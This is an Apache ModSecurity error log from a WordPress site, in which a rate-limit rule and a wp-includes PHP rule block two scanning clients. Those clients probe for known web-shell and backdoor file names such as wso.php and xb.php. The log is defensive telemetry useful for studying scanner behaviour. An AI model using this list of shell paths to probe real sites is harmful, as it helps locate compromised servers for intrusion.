[Thu Feb 26 22:26:27.454749 2026] [:error] [pid 54991:tid 55043] [client 20.151.107.14:63599] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBYE94Zx-mJ8gbRB2j_ewAAAFc"]
[Thu Feb 26 22:26:27.566544 2026] [:error] [pid 20419:tid 20429] [client 4.194.131.131:2110] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaBYE-3DVDvMfTYYUBVpCQAAAcc"]
[Thu Feb 26 22:26:27.782923 2026] [:error] [pid 54991:tid 55033] [client 4.194.131.131:2200] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaBYE94Zx-mJ8gbRB2j_fQAAAE0"]
[Thu Feb 26 22:26:27.902281 2026] [:error] [pid 54991:tid 55023] [client 20.151.107.14:63515] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aaBYE94Zx-mJ8gbRB2j_fgAAAEM"]
[Thu Feb 26 22:26:27.987334 2026] [:error] [pid 54990:tid 55016] [client 4.194.131.131:2401] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aaBYE3tr2qmt_mBhH2wvkQAAABc"]
[Thu Feb 26 22:26:28.187807 2026] [:error] [pid 55122:tid 55136] [client 4.194.131.131:3042] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaBYFILiR0OfjFxvcN82lAAAAMw"]
[Thu Feb 26 22:26:28.391233 2026] [:error] [pid 55618:tid 55634] [client 4.194.131.131:2188] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaBYFB61Vrh12f_8oWQVDwAAAQ0"]
[Thu Feb 26 22:26:28.463631 2026] [:error] [pid 55051:tid 55054] [client 20.151.107.14:61340] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-library/"] [unique_id "aaBYFAmK1w2kZvh5eLHRBAAAAIA"]
[Thu Feb 26 22:26:28.567289 2026] [:error] [pid 55051:tid 55060] [client 4.194.131.131:2225] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaBYFAmK1w2kZvh5eLHRBQAAAIY"]
[Thu Feb 26 22:26:28.755943 2026] [:error] [pid 54991:tid 55029] [client 4.194.131.131:2096] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aaBYFN4Zx-mJ8gbRB2j_ggAAAEk"]
[Thu Feb 26 22:26:28.964090 2026] [:error] [pid 55051:tid 55055] [client 20.151.107.14:62941] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-library/"] [unique_id "aaBYFAmK1w2kZvh5eLHRDAAAAIE"]
[Thu Feb 26 22:26:28.993521 2026] [:error] [pid 54991:tid 55027] [client 4.194.131.131:2179] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaBYFN4Zx-mJ8gbRB2j_hwAAAEc"]
[Thu Feb 26 22:26:29.181148 2026] [:error] [pid 3883:tid 3899] [client 4.194.131.131:2093] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaBYFeA33x90V6yYHaj3DgAAAU0"]
[Thu Feb 26 22:26:29.360481 2026] [:error] [pid 55051:tid 55057] [client 4.194.131.131:2724] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaBYFQmK1w2kZvh5eLHREAAAAIM"]
[Thu Feb 26 22:26:29.389253 2026] [:error] [pid 54991:tid 55042] [client 20.151.107.14:64159] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-library/"] [unique_id "aaBYFd4Zx-mJ8gbRB2j_iAAAAFY"]
[Thu Feb 26 22:26:29.554965 2026] [:error] [pid 54991:tid 55035] [client 4.194.131.131:2516] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aaBYFd4Zx-mJ8gbRB2j_igAAAE8"]
[Thu Feb 26 22:26:29.728739 2026] [:error] [pid 55122:tid 55128] [client 4.194.131.131:2204] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBYFYLiR0OfjFxvcN82nQAAAMQ"]
[Thu Feb 26 22:26:29.856834 2026] [:error] [pid 3883:tid 3907] [client 20.151.107.14:61337] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-library/"] [unique_id "aaBYFeA33x90V6yYHaj3EAAAAVU"]
[Thu Feb 26 22:26:29.978228 2026] [:error] [pid 3883:tid 3886] [client 4.194.131.131:2102] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBYFeA33x90V6yYHaj3FgAAAUA"]
[Thu Feb 26 22:26:30.167333 2026] [:error] [pid 55618:tid 55626] [client 4.194.131.131:2219] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBYFh61Vrh12f_8oWQVHwAAAQU"]
[Thu Feb 26 22:26:30.342373 2026] [:error] [pid 54990:tid 55006] [client 4.194.131.131:2903] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBYFntr2qmt_mBhH2wvrgAAAA0"]
[Thu Feb 26 22:26:30.371618 2026] [:error] [pid 54990:tid 55017] [client 20.151.107.14:63592] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/admin.php"] [unique_id "aaBYFntr2qmt_mBhH2wvrwAAABg"]
[Thu Feb 26 22:26:30.537801 2026] [:error] [pid 55618:tid 55637] [client 4.194.131.131:2478] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaBYFh61Vrh12f_8oWQVJAAAARA"]
[Thu Feb 26 22:26:30.726804 2026] [:error] [pid 20419:tid 20433] [client 4.194.131.131:2928] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaBYFu3DVDvMfTYYUBVpGgAAAcs"]
[Thu Feb 26 22:26:30.808586 2026] [:error] [pid 54990:tid 55004] [client 20.151.107.14:62910] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/admin.php"] [unique_id "aaBYFntr2qmt_mBhH2wvsgAAAAs"]
[Thu Feb 26 22:26:30.945810 2026] [:error] [pid 54990:tid 55005] [client 4.194.131.131:2230] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaBYFntr2qmt_mBhH2wvswAAAAw"]
[Thu Feb 26 22:26:31.164464 2026] [:error] [pid 20419:tid 20425] [client 4.194.131.131:2067] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaBYF-3DVDvMfTYYUBVpHQAAAcM"]
[Thu Feb 26 22:26:31.311557 2026] [:error] [pid 55618:tid 55638] [client 20.151.107.14:63535] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/admin.php"] [unique_id "aaBYFx61Vrh12f_8oWQVKwAAARE"]
[Thu Feb 26 22:26:31.345209 2026] [:error] [pid 55051:tid 55054] [client 4.194.131.131:2220] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBYFwmK1w2kZvh5eLHRHAAAAIA"]
[Thu Feb 26 22:26:31.575247 2026] [:error] [pid 54991:tid 55025] [client 4.194.131.131:2537] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBYF94Zx-mJ8gbRB2j_kgAAAEU"]
[Thu Feb 26 22:26:31.755081 2026] [:error] [pid 55618:tid 55622] [client 4.194.131.131:2224] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBYFx61Vrh12f_8oWQVMQAAAQE"]
[Thu Feb 26 22:26:31.762238 2026] [:error] [pid 54991:tid 55021] [client 20.151.107.14:60737] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/admin.php"] [unique_id "aaBYF94Zx-mJ8gbRB2j_kwAAAEE"]
[Thu Feb 26 22:26:31.931505 2026] [:error] [pid 55122:tid 55145] [client 4.194.131.131:2883] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aaBYF4LiR0OfjFxvcN82owAAANU"]
[Thu Feb 26 22:26:32.110535 2026] [:error] [pid 25311:tid 25320] [client 4.194.131.131:2893] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aaBYGNfdM__yZAgJFSvsXAAAAYY"]
[Thu Feb 26 22:26:32.360157 2026] [:error] [pid 25311:tid 25334] [client 4.194.131.131:2889] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aaBYGNfdM__yZAgJFSvsXQAAAZQ"]
[Thu Feb 26 22:26:32.500150 2026] [:error] [pid 55122:tid 55148] [client 20.151.107.14:64220] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaBYGILiR0OfjFxvcN82pwAAANg"]
[Thu Feb 26 22:26:32.581993 2026] [:error] [pid 20419:tid 20423] [client 4.194.131.131:2185] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aaBYGO3DVDvMfTYYUBVpJwAAAcE"]
[Thu Feb 26 22:26:32.764653 2026] [:error] [pid 20419:tid 20431] [client 4.194.131.131:2215] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xse25.php"] [unique_id "aaBYGO3DVDvMfTYYUBVpKQAAAck"]
[Thu Feb 26 22:26:32.956780 2026] [:error] [pid 54991:tid 55040] [client 4.194.131.131:2191] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYGN4Zx-mJ8gbRB2j_mAAAAFQ"]
[Thu Feb 26 22:26:33.007256 2026] [:error] [pid 54991:tid 55022] [client 20.151.107.14:64145] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaBYGd4Zx-mJ8gbRB2j_mQAAAEI"]
[Thu Feb 26 22:26:33.134453 2026] [:error] [pid 55618:tid 55639] [client 4.194.131.131:2532] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYGR61Vrh12f_8oWQVRQAAARI"]
[Thu Feb 26 22:26:33.320683 2026] [:error] [pid 54991:tid 55042] [client 4.194.131.131:2212] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYGd4Zx-mJ8gbRB2j_mwAAAFY"]
[Thu Feb 26 22:26:33.447599 2026] [:error] [pid 54991:tid 55036] [client 20.151.107.14:62974] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaBYGd4Zx-mJ8gbRB2j_ngAAAFA"]
[Thu Feb 26 22:26:33.514117 2026] [:error] [pid 54991:tid 55038] [client 4.194.131.131:2216] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/index.php"] [unique_id "aaBYGd4Zx-mJ8gbRB2j_oAAAAFI"]
[Thu Feb 26 22:26:33.731865 2026] [:error] [pid 20419:tid 20439] [client 4.194.131.131:2542] [client 4.194.131.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aaBYGe3DVDvMfTYYUBVpKwAAAdE"]
[Thu Feb 26 22:26:33.903313 2026] [:error] [pid 20419:tid 20427] [client 20.151.107.14:63520] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aaBYGe3DVDvMfTYYUBVpLwAAAcU"]
[Thu Feb 26 22:26:33.906947 2026] [:error] [pid 54991:tid 55034] [client 4.194.131.131:2901] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aaBYGd4Zx-mJ8gbRB2j_pAAAAE4"]
[Thu Feb 26 22:26:34.101221 2026] [:error] [pid 54991:tid 55020] [client 4.194.131.131:2205] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aaBYGt4Zx-mJ8gbRB2j_pQAAAEA"]
[Thu Feb 26 22:26:34.287788 2026] [:error] [pid 54991:tid 55033] [client 4.194.131.131:2553] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-signin.php"] [unique_id "aaBYGt4Zx-mJ8gbRB2j_pgAAAE0"]
[Thu Feb 26 22:26:34.461396 2026] [:error] [pid 44444:tid 44471] [client 4.194.131.131:2555] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aaBYGm2sMNmj-yekUk1P0AAAAhU"]
[Thu Feb 26 22:26:34.558993 2026] [:error] [pid 44444:tid 44457] [client 20.151.107.14:62923] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FII.php"] [unique_id "aaBYGm2sMNmj-yekUk1P0gAAAgc"]
[Thu Feb 26 22:26:34.647666 2026] [:error] [pid 44444:tid 44464] [client 4.194.131.131:2896] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aaBYGm2sMNmj-yekUk1P0wAAAg4"]
[Thu Feb 26 22:26:34.843187 2026] [:error] [pid 55122:tid 55144] [client 4.194.131.131:2908] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aaBYGoLiR0OfjFxvcN82qwAAANQ"]
[Thu Feb 26 22:26:35.063952 2026] [:error] [pid 3883:tid 3902] [client 20.151.107.14:60745] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/FII.php"] [unique_id "aaBYG-A33x90V6yYHaj3JwAAAVA"]
[Thu Feb 26 22:26:35.075194 2026] [:error] [pid 20419:tid 20436] [client 4.194.131.131:3019] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shoyo.php"] [unique_id "aaBYG-3DVDvMfTYYUBVpMwAAAc4"]
[Thu Feb 26 22:26:35.269581 2026] [:error] [pid 55618:tid 55625] [client 4.194.131.131:2933] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aaBYGx61Vrh12f_8oWQVXwAAAQQ"]
